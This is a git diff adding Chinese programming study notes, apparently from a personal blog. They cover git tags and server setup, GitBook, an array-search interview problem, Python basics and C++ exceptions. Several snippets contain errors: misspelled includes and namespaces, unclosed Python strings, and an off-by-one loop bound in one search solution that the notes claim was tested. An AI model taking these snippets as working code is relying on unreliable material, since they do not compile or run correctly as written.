||||||
|
git log --pretty=oneline --abbrev-commit
|
||||||
|
git tag v0.9 a793aa9 # a793aa9是commit id
|
||||||
|
|
||||||
|
# 标签是按字母排序的,可以查看标签信息
|
||||||
|
git show <tagname>
|
||||||
|
|
||||||
|
# 创建带有说明的标签,用-a指定标签名,-m指定说明文字:
|
||||||
|
git tag -a v0.1 -m "version 0.1 released" 1094adb
|
||||||
|
|
||||||
|
# 插卡说明文字
|
||||||
|
git show <tagname>
|
||||||
|
```
|
||||||
|
|
||||||
|
### 删除标签
|
||||||
|
|
||||||
|
```
|
||||||
|
# 删除标签
|
||||||
|
git tag -d v1.0
|
||||||
|
|
||||||
|
# 将某个标签对应的版本推送到远程仓
|
||||||
|
git push origin v1.0
|
||||||
|
|
||||||
|
# 一次性推送全部尚未推送的本地标签
|
||||||
|
git push origin --tags
|
||||||
|
|
||||||
|
# 删除远程标签
|
||||||
|
# 先本机删除
|
||||||
|
git tag -d v0.9
|
||||||
|
# 再远程删除
|
||||||
|
git push origin :refs/tags/v0.9
|
||||||
|
```
|
||||||
|
|
||||||
|
### GitHub Pages
|
||||||
|
|
||||||
|
### 使用码云仓
|
||||||
|
|
||||||
|
## 自定义Git
|
||||||
|
|
||||||
|
```
|
||||||
|
# 让Git显示颜色
|
||||||
|
git config --global color.ui true
|
||||||
|
```
|
||||||
|
|
||||||
|
### 忽略特殊文件
|
||||||
|
|
||||||
|
```
|
||||||
|
# Windows:
|
||||||
|
Thumbs.db
|
||||||
|
ehthumbs.db
|
||||||
|
Desktop.ini
|
||||||
|
|
||||||
|
# Python:
|
||||||
|
*.py[cod]
|
||||||
|
*.so
|
||||||
|
*.egg
|
||||||
|
*.egg-info
|
||||||
|
dist
|
||||||
|
build
|
||||||
|
|
||||||
|
# My configurations:
|
||||||
|
db.ini
|
||||||
|
deploy_key_rsa
|
||||||
|
```
|
||||||
|
|
||||||
|
### 配置别名
|
||||||
|
|
||||||
|
```
|
||||||
|
# 配置lg,查看分支合并情况
|
||||||
|
git config --global alias.lg "log --color --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit"
|
||||||
|
```
|
||||||
|
|
||||||
|
## 搭建Git服务器
|
||||||
|
|
||||||
|
```
|
||||||
|
# 安装git
|
||||||
|
sudo apt-get install git
|
||||||
|
|
||||||
|
# 创建一个git用户,用来运行git服务
|
||||||
|
sudo adduser git
|
||||||
|
|
||||||
|
# 创建证书登录
|
||||||
|
收集所有需要登录的用户的公钥,就是他们自己的id_rsa.pub文件,
|
||||||
|
把所有公钥导入到/home/git/.ssh/authorized_keys文件里,一行一个
|
||||||
|
|
||||||
|
# 初始化Git仓库
|
||||||
|
# 先选定一个目录作为Git仓库,假定是/srv/sample.git,在/srv目录下输入命令:
|
||||||
|
sudo git init --bare sample.git
|
||||||
|
sudo chown -R git:git sample.git
|
||||||
|
|
||||||
|
# 禁用shell登录
|
||||||
|
# 编辑/etc/passwd文件完成
|
||||||
|
git:x:1001:1001:,,,:/home/git:/bin/bash
|
||||||
|
# 改为一旦登录就自动退出:
|
||||||
|
git:x:1001:1001:,,,:/home/git:/usr/bin/git-shell
|
||||||
|
|
||||||
|
# 克隆远程仓库
|
||||||
|
git clone git@server:/srv/sample.git
|
||||||
|
|
||||||
|
# 管理公钥
|
||||||
|
/home/git/.ssh/authorized_keys
|
||||||
|
|
||||||
|
# 管理权限
|
||||||
|
```
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,10 @@
|
||||||
|
# 原创
|
||||||
|
: 04-Git命令总结
|
||||||
|
|
||||||
|
# 04-Git命令总结
|
||||||
|
|
||||||
|
# Git命令总结
|
||||||
|
|
||||||
|
## git cheat sheet
|
||||||
|
|
||||||
|
## 官网
|
|
@ -0,0 +1,113 @@
|
||||||
|
# 原创
|
||||||
|
: 05-使用GitBook打造自己的出版平台
|
||||||
|
|
||||||
|
# 05-使用GitBook打造自己的出版平台
|
||||||
|
|
||||||
|
# 使用GitBook打造自己的出版平台
|
||||||
|
|
||||||
|
## 准备工作
|
||||||
|
|
||||||
|
## 使用Summary构建书籍目录
|
||||||
|
|
||||||
|
### 直接用Summary构建
|
||||||
|
|
||||||
|
```
|
||||||
|
{
|
||||||
|
"bookname": "json-config-name",
|
||||||
|
"outputfile": "test.md",
|
||||||
|
"catalog": "all", // 如 [chapter1,chapter2, ...]
|
||||||
|
"ignores": [],
|
||||||
|
"unchanged": [] // 如: ['myApp'] -> `myApp` not `My App`
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 使用Python脚本构建
|
||||||
|
|
||||||
|
```
|
||||||
|
import os
|
||||||
|
import os.path
|
||||||
|
|
||||||
|
##############################################文件名##########################
|
||||||
|
# 文件名
|
||||||
|
folders = []
|
||||||
|
folders = ['Python-Tools',
|
||||||
|
'advanced-python',
|
||||||
|
'Scipy']
|
||||||
|
# 对应的中文名
|
||||||
|
chinese = ['一、Python 工具',
|
||||||
|
'二、Python 进阶',
|
||||||
|
'三、Scipy 基础']
|
||||||
|
# 对应到字典中
|
||||||
|
folders_to_chinese = dict(zip(folders, chinese))
|
||||||
|
|
||||||
|
#####################################先产生文件夹内部README.md################
|
||||||
|
for folder in folders:
|
||||||
|
with open(folder+'/README.md','w') as f:
|
||||||
|
pass
|
||||||
|
folder_file = open(folder+'/README.md','w')
|
||||||
|
folder_file.write('# '+folders_to_chinese[folder]+ '\n')
|
||||||
|
files = sorted(os.listdir(folder))
|
||||||
|
# 不处理README.md
|
||||||
|
i = 0
|
||||||
|
for file_name in files:
|
||||||
|
i += 1
|
||||||
|
if file_name.endswith('.md') and file_name != 'README.md':
|
||||||
|
fname = folder+'/'+file_name
|
||||||
|
with open(fname) as fp:
|
||||||
|
lines = fp.readlines()
|
||||||
|
for f in lines:
|
||||||
|
if f[0] == '#':
|
||||||
|
new_name = f
|
||||||
|
break
|
||||||
|
# print ' '+str(i)+new_name[1:-1]
|
||||||
|
folder_file.write('- ['+ str(i)+new_name[1:-1]+']('+ file_name +')\n')
|
||||||
|
folder_file.close()
|
||||||
|
#####################################再产生文件夹外部README.md#######################
|
||||||
|
# 产生目录文件:
|
||||||
|
index_file = open('SUMMARY.md', 'w')
|
||||||
|
index_file.write('# Python数据分析 \n\n')
|
||||||
|
print 'Contents'
|
||||||
|
|
||||||
|
for folder in folders:
|
||||||
|
# 处理文件夹名
|
||||||
|
index_file.write('- [' + folders_to_chinese[folder]+'](' + folder + '/' + 'README.md' +')\n')
|
||||||
|
print folders_to_chinese[folder]
|
||||||
|
files = sorted(os.listdir(folder))
|
||||||
|
# 处理文件夹内其他内容
|
||||||
|
i = 0
|
||||||
|
for file_name in files:
|
||||||
|
if file_name.endswith('.md') and file_name != 'README.md':
|
||||||
|
i += 1
|
||||||
|
name = file_name
|
||||||
|
fname = folder+'/'+name
|
||||||
|
with open(fname) as fp:
|
||||||
|
lines = fp.readlines()
|
||||||
|
for f in lines:
|
||||||
|
if f[0] == '#':
|
||||||
|
new_name = f
|
||||||
|
break
|
||||||
|
print ' '+str(i)+new_name[1:-1]
|
||||||
|
|
||||||
|
index_file.write(' * [' + str(i)+new_name[1:-1])
|
||||||
|
index_file.write('](' + folder + '/' + file_name +')\n')
|
||||||
|
index_file.close()
|
||||||
|
```
|
||||||
|
|
||||||
|
## 生成电子书
|
||||||
|
|
||||||
|
## 输出pdf
|
||||||
|
|
||||||
|
## 最终验证成功的命令
|
||||||
|
|
||||||
|
```
|
||||||
|
# 先卸载全局node.js
|
||||||
|
# 再安装nvm
|
||||||
|
nvm ls # 查看安装的npm版本
|
||||||
|
nvm use 8.11.3 # 切换node 8.11.3版本
|
||||||
|
nvm install 6 # 安装6的最新版本
|
||||||
|
|
||||||
|
nvm use 6.0.0 # 使用旧版本6.0.0
|
||||||
|
gitbook build --gitbook=2.6.7 # 使用旧版本创建书籍
|
||||||
|
# 这里输出的html支持跳转
|
||||||
|
gitbook pdf . book.pdf --gitbook=2.6.7 # 旧版本可以导出pdf等格式的电子书,不需要插件,前面一个是书籍路径,后面一个生成的pdf路径及文件名
|
||||||
|
```
|
|
@ -0,0 +1,196 @@
|
||||||
|
# 原创
|
||||||
|
: 1.剑指Offer编程题之二维数组中的查找
|
||||||
|
|
||||||
|
# 1.剑指Offer编程题之二维数组中的查找
|
||||||
|
|
||||||
|
**题目描述:** <br/> 在一个二维数组中,每一行都按照从左到右递增的顺序排序,每一列都按照从上到下递增的顺序排序。请完成一个函数,输入这样的一个二维数组和一个整数,判断数组中是否含有该整数.
|
||||||
|
|
||||||
|
**解题思路1:** <br/> - 从左下角元素开始往上查找,右边元素比这个元素大,上边元素比这个元素小,于是,target比这个元素小就往上找,比这个元素大就往右找.如果出现边界,则查找失败.
|
||||||
|
|
||||||
|
C/C++
|
||||||
|
|
||||||
|
```
|
||||||
|
class Solution{
|
||||||
|
public:
|
||||||
|
//二维向量这里最外的<>要有空格。否则在比较旧的编译器下无法通过
|
||||||
|
bool Find(int target, vector< vector<int> >array){
|
||||||
|
if(array.empty()) return false;
|
||||||
|
int rows = array.size();
|
||||||
|
int cols = array[0].size();
|
||||||
|
int i=rows-1,j=0; //左下标元素坐标
|
||||||
|
while(i>=0&&j<cols){
|
||||||
|
if(target<array[i][j]) --i;
|
||||||
|
else if(target>array[i][j]) ++j;
|
||||||
|
else return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
Python2
|
||||||
|
|
||||||
|
```
|
||||||
|
class Solution:
|
||||||
|
def Find(self,target,array):
|
||||||
|
rows = len(array)
|
||||||
|
cols = len(array[0])
|
||||||
|
i = rows-1
|
||||||
|
j = 0
|
||||||
|
while j<cols and i>=0:
|
||||||
|
if target<array[i][j]:
|
||||||
|
i -= 1
|
||||||
|
elif target>array[i][j]:
|
||||||
|
j += 1
|
||||||
|
else:
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
```
|
||||||
|
|
||||||
|
Java
|
||||||
|
|
||||||
|
```
|
||||||
|
public class Solution{
|
||||||
|
public boolean Find(int target, int [][] array){
|
||||||
|
int rows = array.length;
|
||||||
|
int cols = array[0].length;
|
||||||
|
int i = rows-1,j=0;
|
||||||
|
while(i>=0&&j<cols){
|
||||||
|
if(target<array[i][j])--i;
|
||||||
|
else if(target>array[i][j])++j;
|
||||||
|
else return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**解题思路2:** <br/> 从右上角开始查找,左边元素比这个元素小,下边元素比这个元素大,于是target比这个元素大,则往下找,比这个元素小则往左找,出现边界查找失败.
|
||||||
|
|
||||||
|
C/C++
|
||||||
|
|
||||||
|
```
|
||||||
|
class Solution{
|
||||||
|
public:
|
||||||
|
//二维向量这里最外的<>要有空格。否则在比较旧的编译器下无法通过
|
||||||
|
bool Find(int target, vector< vector<int> >array){
|
||||||
|
if(array.empty())return false;
|
||||||
|
int rows = array.size();
|
||||||
|
int cols = array[0].size();
|
||||||
|
int i=0,j=cols-1;
|
||||||
|
while(i<=rows-1&&j>=0){
|
||||||
|
if (target<array[i][j])--j;
|
||||||
|
else if(target>array[i][j])++i;
|
||||||
|
else return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
Python2
|
||||||
|
|
||||||
|
```
|
||||||
|
class Solution:
|
||||||
|
def Find(self,target,array):
|
||||||
|
rows = len(array)
|
||||||
|
cols = len(array[0])
|
||||||
|
i = 0
|
||||||
|
j = cols-1
|
||||||
|
while i<rows-1 and j>=0:
|
||||||
|
if target<array[i][j]:
|
||||||
|
j -= 1
|
||||||
|
elif target>array[i][j]:
|
||||||
|
i += 1
|
||||||
|
else:
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
```
|
||||||
|
|
||||||
|
Java
|
||||||
|
|
||||||
|
```
|
||||||
|
public class Solution{
|
||||||
|
public boolean Find(int target, int [][] array){
|
||||||
|
int rows = array.length;
|
||||||
|
int cols = array[0].length;
|
||||||
|
int i=0,j=cols-1;
|
||||||
|
while(i<=rows-1&&j>=0){
|
||||||
|
if(target<array[i][j])--j;
|
||||||
|
else if(target>array[i][j])++i;
|
||||||
|
else return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**解题思路3:** <br/> 把每一行看成是一个有序递增数组,利用二分法查找,通过遍历每一行得到答案,时间复杂度nlogn.
|
||||||
|
|
||||||
|
C/C++
|
||||||
|
|
||||||
|
```
|
||||||
|
class Solution{
|
||||||
|
public:
|
||||||
|
bool Find(int target,vector< vector<int> >array){
|
||||||
|
if(array.empty()) return false;
|
||||||
|
int length=array.size();
|
||||||
|
for(int i=0;i<length;++i){
|
||||||
|
int low = 0;
|
||||||
|
int high = array[i].size()-1;
|
||||||
|
while(low<=high){
|
||||||
|
int mid = (low+high)/2;
|
||||||
|
if(target>array[i][mid]) low=mid+1;
|
||||||
|
else if(target<array[i][mid]) high=mid-1;
|
||||||
|
else return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
Python2
|
||||||
|
|
||||||
|
```
|
||||||
|
class Solution:
|
||||||
|
def Find(self,target,array):
|
||||||
|
length=len(array)
|
||||||
|
for i in range(length):
|
||||||
|
low = 0
|
||||||
|
high = len(array[i])-1
|
||||||
|
while low<=high:
|
||||||
|
mid = (low+high)/2
|
||||||
|
if target>array[i][mid]:
|
||||||
|
low = mid + 1
|
||||||
|
elif target<array[i][mid]:
|
||||||
|
high = mid-1
|
||||||
|
else:
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
```
|
||||||
|
|
||||||
|
Jave
|
||||||
|
|
||||||
|
```
|
||||||
|
public class Solution{
|
||||||
|
public boolean Find(int target, int [][] array){
|
||||||
|
int length=array.length;
|
||||||
|
for(int i=0;i<length;++i){
|
||||||
|
int low = 0;
|
||||||
|
int high = array[i].length-1;
|
||||||
|
while(low<=high){
|
||||||
|
int mid = (low+high)/2;
|
||||||
|
if(target>array[i][mid])low=mid+1;
|
||||||
|
else if(target<array[i][mid])high=mid-1;
|
||||||
|
else return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
>
|
||||||
|
本实例均通过牛客网在线编译测试。
|
||||||
|
|
|
@ -0,0 +1,215 @@
|
||||||
|
# 原创
|
||||||
|
: Byte of Python3 总结
|
||||||
|
|
||||||
|
# Byte of Python3 总结
|
||||||
|
|
||||||
|
>
|
||||||
|
总结入门书《Byte of Python》,找找新东西。
|
||||||
|
|
||||||
|
|
||||||
|
### 目录
|
||||||
|
|
||||||
|
## 格式化字符串
|
||||||
|
|
||||||
|
字符串不可变,正则表达式中的字符串应该使用原始字符串`r"strings"`
|
||||||
|
|
||||||
|
format方法:
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> age = 20
|
||||||
|
>>> name = "ds19991999"
|
||||||
|
>>> print('{} was {} years old'.format(name,age))
|
||||||
|
ds19991999 was 20 years old
|
||||||
|
>>> print('{0} was {1} years old'.format(name,age))
|
||||||
|
ds19991999 was 20 years old
|
||||||
|
>>> print("{0:.3f}".format(4.0/3))
|
||||||
|
1.333
|
||||||
|
>>> print('{0:_^11}'.format('hello'))
|
||||||
|
___hello___
|
||||||
|
>>> print('{name} wrote {book}'.format(name='Swaroop', book='A Byte of Python'))
|
||||||
|
Swaroop wrote A Byte of Python
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
指定结尾符号
|
||||||
|
|
||||||
|
```
|
||||||
|
print('a', end='')
|
||||||
|
print('b', end=' ')
|
||||||
|
print('c', end='\n')
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 运算符与表达式
|
||||||
|
|
||||||
|
运算符与C/C++差异比较大
|
||||||
|
|
||||||
|
```
|
||||||
|
/ 除,结果是浮点数
|
||||||
|
// 整除,整数整除结果为int,否则为float,执行floor除法
|
||||||
|
% 取模,返回除法运算后的余数
|
||||||
|
<< 左移,2<<2------>10--1000得8
|
||||||
|
& 按位与,5&3------>101&011得001,结果为1
|
||||||
|
| 按位或,5|3------>101|011得111,结果为7
|
||||||
|
^ 按位异或,5^3----->101^011得110,结果为6(相同为0,不同为1)
|
||||||
|
~ 按位取反 x~ ------>得-(x+1)
|
||||||
|
not and or
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
`continue`跳出当前循环块剩余语句,继续下一次迭代
|
||||||
|
|
||||||
|
## 参数
|
||||||
|
|
||||||
|
[https://www.douban.com/note/13413855/](https://www.douban.com/note/13413855/)
|
||||||
|
|
||||||
|
`gloabal`语句:定义全局变量,`gloabal x`
|
||||||
|
|
||||||
|
```
|
||||||
|
1. `F(arg1,arg2,...)` 传统参数
|
||||||
|
2. `F(arg2=<value>,arg3=<value>...)` 默认参数
|
||||||
|
3. `F(*arg1)` 可变参数,函数实际参数个数是不一定的,存放在以形参名为标识符的tuple中
|
||||||
|
4. `F(**arg1) ` 可变参数,在函数内部将被存放在以形式名为标识符的dictionary中。这时候调用函数**必须采用key1=value1、key2=value2...**的形式。
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
def addOn(**arg):
|
||||||
|
sum = 0
|
||||||
|
if len(arg) == 0: return 0
|
||||||
|
else:
|
||||||
|
for x in arg.itervalues():
|
||||||
|
sum += x
|
||||||
|
return sum
|
||||||
|
addOn(x=4,y=5,k=6)
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
注意:在定义或调用这种函数时,顺序不能变
|
||||||
|
|
||||||
|
```
|
||||||
|
def function(arg1,arg2=<value>,*arg3,**arg4)
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
首先按顺序把“arg”这种形式的实参给对应的形参<br/> 第二,把“arg=”这种形式的实参赋值给形参<br/> 第三,把多出来的“arg”这种形式的实参组成一个tuple给带一个星号的形参<br/> 第四,把多出来的“key=value”这种形式的实参转为一个dictionary给带两个星号的形参
|
||||||
|
|
||||||
|
## 模块
|
||||||
|
|
||||||
|
```
|
||||||
|
if __name__=="__main__":
|
||||||
|
main()
|
||||||
|
else:
|
||||||
|
print("Import from another module")
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 包
|
||||||
|
|
||||||
|
包的结构:
|
||||||
|
|
||||||
|
```
|
||||||
|
- world/
|
||||||
|
- __init__.py
|
||||||
|
- asia/
|
||||||
|
- __init__.py
|
||||||
|
- india/
|
||||||
|
- __init__.py
|
||||||
|
- foo.py
|
||||||
|
- africa/
|
||||||
|
- __init__.py
|
||||||
|
- madagascar/
|
||||||
|
- __init__.py
|
||||||
|
- bar.py
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
如上,包的名称为world,asia和afica是它的子包,子包包含india、madagascar等模块
|
||||||
|
|
||||||
|
## 数据结构
|
||||||
|
|
||||||
|
列表的引用:`a=[1,2,3,4]; b=a`,a和b指向同一个对象,改变a或b,都会改变,b=a[:],则相当于copy一个对象,a与b不会互相改变
|
||||||
|
|
||||||
|
```
|
||||||
|
for keys,vals in adic.items():
|
||||||
|
print(keys,vals)
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
>
|
||||||
|
更详细的总结见后续博客更新
|
||||||
|
|
||||||
|
|
||||||
|
一些方法:
|
||||||
|
|
||||||
|
```
|
||||||
|
time.strftime("Y%m%d%H%M%S%") 返回当前日期与时间
|
||||||
|
os.system(command_string) 执行系统命令行,执行成功返回0
|
||||||
|
if not os.path.exists(target_dir): 判断目标路径存不存在
|
||||||
|
os.mkdir(target_dir)
|
||||||
|
seq.replace(" ","_"),序列(字符串)将空格取代为_
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 软件开发流程
|
||||||
|
|
||||||
|
what——>how——>do it——>test——>use——>maintain
|
||||||
|
|
||||||
|
## 面向对象编程
|
||||||
|
|
||||||
|
`__init__`方法、类变量和对象变量、装饰器classmethod、继承
|
||||||
|
|
||||||
|
## 输入与输出
|
||||||
|
|
||||||
|
**Pickle:**将纯Python对象存储在一个文件中,并在稍后取回,这叫持久性(Persistently)存储对象.
|
||||||
|
|
||||||
|
```
|
||||||
|
pickle.dump(list,file) # 存储到文件
|
||||||
|
pickle.load(file)#加载文件
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 异常
|
||||||
|
|
||||||
|
```
|
||||||
|
# coding=UTF-8
|
||||||
|
class ShortInputException(Exception):
|
||||||
|
'''一个由用户定义的异常类'''
|
||||||
|
def __init__(self, length, atleast):
|
||||||
|
Exception.__init__(self)
|
||||||
|
self.length = length
|
||||||
|
self.atleast = atleast
|
||||||
|
try:
|
||||||
|
text = input('Enter something -->')
|
||||||
|
if len(text) < 3:
|
||||||
|
raise ShortInputException(len(text),3)
|
||||||
|
# 其他工作能在此处继续正常运行
|
||||||
|
else:
|
||||||
|
print('No exception was raised.)
|
||||||
|
except EOFError:
|
||||||
|
print('Why did you do an EOF on me?')
|
||||||
|
except ShortInputException as ex:
|
||||||
|
print(('ShortInputException: The input was' +
|
||||||
|
{0} long, expected at least {1}')
|
||||||
|
.format(ex.length, ex.atleast))
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
`try except finally`
|
||||||
|
|
||||||
|
```
|
||||||
|
with open("poem.txt") as f:
|
||||||
|
for line in f:
|
||||||
|
print(line,end='')
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 特殊方法
|
||||||
|
|
||||||
|
```
|
||||||
|
listone = [2, 3, 4]
|
||||||
|
listtwo = [2*i for i in listone if i > 2]
|
||||||
|
print(listtwo)
|
||||||
|
|
||||||
|
```
|
|
@ -0,0 +1,30 @@
|
||||||
|
# 原创
|
||||||
|
: C++实现随机产生一个二维数组
|
||||||
|
|
||||||
|
# C++实现随机产生一个二维数组
|
||||||
|
|
||||||
|
```
|
||||||
|
#include <iostream>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <time.h>
|
||||||
|
using namespace std;
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
int n, m; //行数n和列数m
|
||||||
|
cin >> n >> m;
|
||||||
|
srand((unsigned)time(NULL));
|
||||||
|
|
||||||
|
for (int i = 0; i < n; i++)
|
||||||
|
{
|
||||||
|
for (int i = 0; i< m; i++)
|
||||||
|
{
|
||||||
|
cout << (rand() % 900) + 100 << " ";
|
||||||
|
//要取得[a,b)的随机整数,使用(rand() % (b-a))+ a;
|
||||||
|
//要取得[a,b]的随机整数,使用(rand() % (b-a+1))+ a;
|
||||||
|
//要取得(a,b]的随机整数,使用(rand() % (b-a))+ a + 1;
|
||||||
|
}
|
||||||
|
cout << endl;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
|
@ -0,0 +1,274 @@
|
||||||
|
# 原创
|
||||||
|
: C++异常处理
|
||||||
|
|
||||||
|
# C++异常处理
|
||||||
|
|
||||||
|
# 一、C++语言异常处理的实现
|
||||||
|
|
||||||
|
## 1.三个保留字
|
||||||
|
|
||||||
|
```
|
||||||
|
//try:可能发生异常的程序代码
|
||||||
|
//throw:抛出异常
|
||||||
|
//catch:捕获异常,进行异常处理
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
//try语句块
|
||||||
|
}
|
||||||
|
catch(异常类型1 参数1)
|
||||||
|
{
|
||||||
|
//针对类型1的异常处理
|
||||||
|
}
|
||||||
|
//throw语句在try语句块内
|
||||||
|
|
||||||
|
//当异常发生,系统找不到与该错误类型相匹配的错误处理模块,则函数
|
||||||
|
//terminate()将被自动调用,默认功能是调用abort()终止程序执行
|
||||||
|
//错误处理函数set_terminate()函数来指定
|
||||||
|
# include <iosteam>
|
||||||
|
using namesapce
|
||||||
|
void aa()
|
||||||
|
{
|
||||||
|
cout<<"这是由用户指定的错误处理函数"<<endl;
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
void main()
|
||||||
|
{
|
||||||
|
set_terminate(aa);//aa代替默认的abort()函数
|
||||||
|
try
|
||||||
|
{
|
||||||
|
throw"error";
|
||||||
|
}
|
||||||
|
catch(int){}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## 2.实例
|
||||||
|
|
||||||
|
```
|
||||||
|
//test1
|
||||||
|
# include <iosteam>
|
||||||
|
double divide(duoble,double);
|
||||||
|
void main()
|
||||||
|
{
|
||||||
|
double f1 = 0.0, f2 = 0.0;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
cout<<"f1/f2="<<divide(f1,f2)<<"\n";
|
||||||
|
}
|
||||||
|
catch(double)
|
||||||
|
{
|
||||||
|
cout<<"被0除"<<"\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
double divide(double x, double y)
|
||||||
|
{
|
||||||
|
if(y==0)throw 0.0;//抛出异常
|
||||||
|
return x/y;
|
||||||
|
}
|
||||||
|
|
||||||
|
//test2
|
||||||
|
# include <iosteam>
|
||||||
|
using namespace std;
|
||||||
|
void detail(int k);
|
||||||
|
{
|
||||||
|
cout<<"Start of detail function.\n";
|
||||||
|
if(k==0) throw 123;
|
||||||
|
cout<<"End of detail function.\n"
|
||||||
|
}
|
||||||
|
void compute(int i)
|
||||||
|
{
|
||||||
|
cout<<"Start of compute function.\n";
|
||||||
|
detail(i);
|
||||||
|
cout<<"End of compute function.\n";
|
||||||
|
}
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
int x;
|
||||||
|
cout<<"Enter x(0 will throw an exception):";
|
||||||
|
cin>>x;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
compute(x);
|
||||||
|
}
|
||||||
|
catch(int i)
|
||||||
|
{
|
||||||
|
cout<<"Exception:"<<i<<endl;
|
||||||
|
}
|
||||||
|
cout<<"The end.\n";
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
//test3
|
||||||
|
# include<iosteam>
|
||||||
|
using namespace std;
|
||||||
|
void main()
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
char ch;
|
||||||
|
cout<<"请输入一个整数和一个字符\n";
|
||||||
|
//如果输入为0!则只会抛出0异常,不会抛出!异常
|
||||||
|
try
|
||||||
|
{
|
||||||
|
cin>>i>>ch;
|
||||||
|
if(i==0)throw 0;
|
||||||
|
if(ch=='!')throw '!';
|
||||||
|
}
|
||||||
|
catch(int)
|
||||||
|
{
|
||||||
|
cout<<"输入为0\n";
|
||||||
|
}
|
||||||
|
catch(char)
|
||||||
|
{
|
||||||
|
cout<<"输入字符!"<<endl;
|
||||||
|
}
|
||||||
|
cout<<"程序结束"<<endl;
|
||||||
|
}
|
||||||
|
|
||||||
|
//test4
|
||||||
|
# include <iosteam>
|
||||||
|
using namespace std;
|
||||||
|
class OutOfBounds
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
OutOfBounds(int a)
|
||||||
|
{
|
||||||
|
i=a;
|
||||||
|
}
|
||||||
|
int indexValue()
|
||||||
|
{
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
private:
|
||||||
|
int i;
|
||||||
|
};
|
||||||
|
|
||||||
|
class Array
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
int &operator[](int i)
|
||||||
|
{
|
||||||
|
if(i<0||i>=10)
|
||||||
|
throw OutOfBounds(i);
|
||||||
|
return a[i];
|
||||||
|
}
|
||||||
|
private:
|
||||||
|
int a[10];
|
||||||
|
};
|
||||||
|
void main()
|
||||||
|
{
|
||||||
|
Array a;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
a[3]=30;
|
||||||
|
cout<<"a[1000]"<<a[1000]<<endl;
|
||||||
|
}
|
||||||
|
catch(OutOfBounds error)//捕获异常类
|
||||||
|
{
|
||||||
|
cout<<"Subscript value"<<error.indexValue()
|
||||||
|
cout<<"Out of bounds.\n";
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
# 二、重新抛出异常和异常规范
|
||||||
|
|
||||||
|
## 1.重新抛出异常
|
||||||
|
|
||||||
|
```
|
||||||
|
//当catch语句捕获异常后,不能完全处理异常
|
||||||
|
//catch语句块可以重新抛出异常,交给更高级函数进行处理
|
||||||
|
# include <iosteam>
|
||||||
|
using namespace std;
|
||||||
|
void h()
|
||||||
|
{
|
||||||
|
throw 0;
|
||||||
|
}
|
||||||
|
void g()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
h();
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
cout<<"Catch in a\n";
|
||||||
|
throw;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
g();
|
||||||
|
}
|
||||||
|
catch(int)
|
||||||
|
{
|
||||||
|
cout<<"Catch in main\n";
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## 2.异常规范
|
||||||
|
|
||||||
|
```
|
||||||
|
//如果程序运行时,函数抛出了一个没有被列在它的异常规范中的异常时
|
||||||
|
//系统调用C++标准库中定义的函数unexcepted(),而unexception()
|
||||||
|
//调用terminate()终止整个程序的运行
|
||||||
|
void f() throw(X,Y)
|
||||||
|
{
|
||||||
|
...
|
||||||
|
}
|
||||||
|
//函数f只能抛出X、Y异常,throw(X,Y)称为异常规范
|
||||||
|
